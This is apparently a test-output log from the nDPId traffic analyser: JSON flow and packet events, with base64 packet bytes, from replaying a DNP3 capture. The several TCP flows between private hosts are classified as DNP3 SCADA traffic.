+00418{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7009,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwxfhAAIAGIMQKAAADCgAACU4gBDiWbHn2GWoYHXAS\/\/\/awQAAAgQFtAEBBAI="} +00418{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7009,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwxfhAAIAGIMQKAAADCgAACU4gBDiWbHn2GWoYHXAS\/\/\/awQAAAgQFtAEBBAI="} +00413{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7259,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAVRAAIAG5XAKAAAJCgAAAwQ4TiAZahgdlmx591AQ\/\/8HhgAAAAAAAAAA"} +00413{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7259,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAVRAAIAG5XAKAAAJCgAAAwQ4TiAZahgdlmx591AQ\/\/8HhgAAAAAAAAAA"} +00413{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7259,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAVRAAIAG5XAKAAAJCgAAAwQ4TiAZahgdlmx591AQ\/\/8HhgAAAAAAAAAA"} +00427{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":35890,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AAKzznBRAFAEk3BnCABFAAA3AVZAAIAG5V8KAAAJCgAAAwQ4TiAZahgdlmx591AY\/\/9B+gAABWQIxAQAAwC0uMDBDdIt"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":226,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":10,"flow_first_seen":1097505644006,"flow_last_seen":1097505719035,"flow_tot_l4_data_len":263,"flow_min_l4_data_len":20,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.9","dst_ip":"10.0.0.3","src_port":1080,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00427{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":35890,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AAKzznBRAFAEk3BnCABFAAA3AVZAAIAG5V8KAAAJCgAAAwQ4TiAZahgdlmx591AY\/\/9B+gAABWQIxAQAAwC0uMDBDdIt"} +00427{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":35890,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AAKzznBRAFAEk3BnCABFAAA3AVZAAIAG5V8KAAAJCgAAAwQ4TiAZahgdlmx591AY\/\/9B+gAABWQIxAQAAwC0uMDBDdIt"} +00432{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":83365,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5xflAAIAGILoKAAADCgAACU4gBDiWbHn3GWoYLFAY\/\/CgYQAABWQKRAYABAC\/sNH3ggAAujk="} +00432{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":83365,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5xflAAIAGILoKAAADCgAACU4gBDiWbHn3GWoYLFAY\/\/CgYQAABWQKRAYABAC\/sNH3ggAAujk="} +00432{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505719,"pkt_ts_usec":83365,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5xflAAIAGILoKAAADCgAACU4gBDiWbHn3GWoYLFAY\/\/CgYQAABWQKRAYABAC\/sNH3ggAAujk="} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":352,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":135,"flow_first_seen":1097505644006,"flow_last_seen":1097506028601,"flow_tot_l4_data_len":4473,"flow_min_l4_data_len":20,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.9","dst_ip":"10.0.0.3","src_port":1080,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":352,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1097507785883,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1086,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883614,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAaRAAIAG5RkKAAAICgAAAwQ+TiAMLRLKAAAAAHAC\/\/\/9vwAAAgQFtAEBBAI="} +00420{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883614,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAaRAAIAG5RkKAAAICgAAAwQ+TiAMLRLKAAAAAHAC\/\/\/9vwAAAgQFtAEBBAI="} +00420{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883614,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAaRAAIAG5RkKAAAICgAAAwQ+TiAMLRLKAAAAAHAC\/\/\/9vwAAAgQFtAEBBAI="} +00420{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883753,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwx49AAIAGHy4KAAADCgAACE4gBD62X0jyDC0Sy3AS\/\/\/+XAAAAgQFtAEBBAI="} +00420{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883753,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwx49AAIAGHy4KAAADCgAACE4gBD62X0jyDC0Sy3AS\/\/\/+XAAAAgQFtAEBBAI="} +00420{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883753,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwx49AAIAGHy4KAAADCgAACE4gBD62X0jyDC0Sy3AS\/\/\/+XAAAAgQFtAEBBAI="} +00415{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883944,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaVAAIAG5SAKAAAICgAAAwQ+TiAMLRLLtl9I81AQ\/\/8rIQAAAAAAAAAA"} +00415{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883944,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaVAAIAG5SAKAAAICgAAAwQ+TiAMLRLLtl9I81AQ\/\/8rIQAAAAAAAAAA"} +00415{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":883944,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaVAAIAG5SAKAAAICgAAAwQ+TiAMLRLLtl9I81AQ\/\/8rIQAAAAAAAAAA"} +00432{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":885063,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5x5BAAIAGHyQKAAADCgAACE4gBD62X0jzDC0Sy1AY\/\/+x7AAABWQKRAMABAB8rsDwgpAAQ6I="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":361,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":10,"flow_first_seen":1097507785883,"flow_last_seen":1097507785885,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1086,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00432{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":885063,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5x5BAAIAGHyQKAAADCgAACE4gBD62X0jzDC0Sy1AY\/\/+x7AAABWQKRAMABAB8rsDwgpAAQ6I="} +00432{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507785,"pkt_ts_usec":885063,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5x5BAAIAGHyQKAAADCgAACE4gBD62X0jzDC0Sy1AY\/\/+x7AAABWQKRAMABAB8rsDwgpAAQ6I="} +00414{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507786,"pkt_ts_usec":52507,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaZAAIAG5R8KAAAICgAAAwQ+TiAMLRLLtl9JBFAQ\/+4rIQAAAAAAAAAA"} +00414{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507786,"pkt_ts_usec":52507,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaZAAIAG5R8KAAAICgAAAwQ+TiAMLRLLtl9JBFAQ\/+4rIQAAAAAAAAAA"} +00414{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097507786,"pkt_ts_usec":52507,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAaZAAIAG5R8KAAAICgAAAwQ+TiAMLRLLtl9JBFAQ\/+4rIQAAAAAAAAAA"} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":445,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":93,"flow_first_seen":1097507785883,"flow_last_seen":1097507856257,"flow_tot_l4_data_len":3327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1086,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":445,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1097510947092,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1159,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92701,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBZtAAIAG4SIKAAAICgAAAwSHTiCYpsdTAAAAAHAC\/\/+8cwAAAgQFtAEBBAI="} +00418{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92701,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBZtAAIAG4SIKAAAICgAAAwSHTiCYpsdTAAAAAHAC\/\/+8cwAAAgQFtAEBBAI="} +00418{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92701,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBZtAAIAG4SIKAAAICgAAAwSHTiCYpsdTAAAAAHAC\/\/+8cwAAAgQFtAEBBAI="} +00418{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92859,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyZlAAIAGHSQKAAADCgAACE4gBIfliDTWmKbHVHAS\/\/+iAwAAAgQFtAEBBAI="} +00418{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92859,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyZlAAIAGHSQKAAADCgAACE4gBIfliDTWmKbHVHAS\/\/+iAwAAAgQFtAEBBAI="} +00418{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":92859,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyZlAAIAGHSQKAAADCgAACE4gBIfliDTWmKbHVHAS\/\/+iAwAAAgQFtAEBBAI="} +00415{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":93064,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZxAAIAG4SkKAAAICgAAAwSHTiCYpsdU5Yg011AQ\/\/\/OxwAAAAAAAAAA"} +00415{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":93064,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZxAAIAG4SkKAAAICgAAAwSHTiCYpsdU5Yg011AQ\/\/\/OxwAAAAAAAAAA"} +00415{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":93064,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZxAAIAG4SkKAAAICgAAAwSHTiCYpsdU5Yg011AQ\/\/\/OxwAAAAAAAAAA"} +00431{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":94289,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yZpAAIAGHRoKAAADCgAACE4gBIfliDTXmKbHVFAY\/\/+b+AAABWQKRAMABAB8rtb9ggEAYEY="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":454,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":10,"flow_first_seen":1097510947092,"flow_last_seen":1097510947094,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1159,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00431{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":94289,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yZpAAIAGHRoKAAADCgAACE4gBIfliDTXmKbHVFAY\/\/+b+AAABWQKRAMABAB8rtb9ggEAYEY="} +00431{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":94289,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yZpAAIAGHRoKAAADCgAACE4gBIfliDTXmKbHVFAY\/\/+b+AAABWQKRAMABAB8rtb9ggEAYEY="} +00415{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":292162,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZ1AAIAG4SgKAAAICgAAAwSHTiCYpsdU5Yg06FAQ\/+7OxwAAAAAAAAAA"} +00415{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":292162,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZ1AAIAG4SgKAAAICgAAAwSHTiCYpsdU5Yg06FAQ\/+7OxwAAAAAAAAAA"} +00415{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097510947,"pkt_ts_usec":292162,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBZ1AAIAG4SgKAAAICgAAAwSHTiCYpsdU5Yg06FAQ\/+7OxwAAAAAAAAAA"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":472,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":27,"flow_first_seen":1097510947092,"flow_last_seen":1097510959487,"flow_tot_l4_data_len":783,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1159,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":472,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1097512255234,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1184,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234470,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBpNAAIAG4CoKAAAICgAAAwSgTiANrtDCAAAAAHAC\/\/895AAAAgQFtAEBBAI="} +00419{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234470,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBpNAAIAG4CoKAAAICgAAAwSgTiANrtDCAAAAAHAC\/\/895AAAAgQFtAEBBAI="} 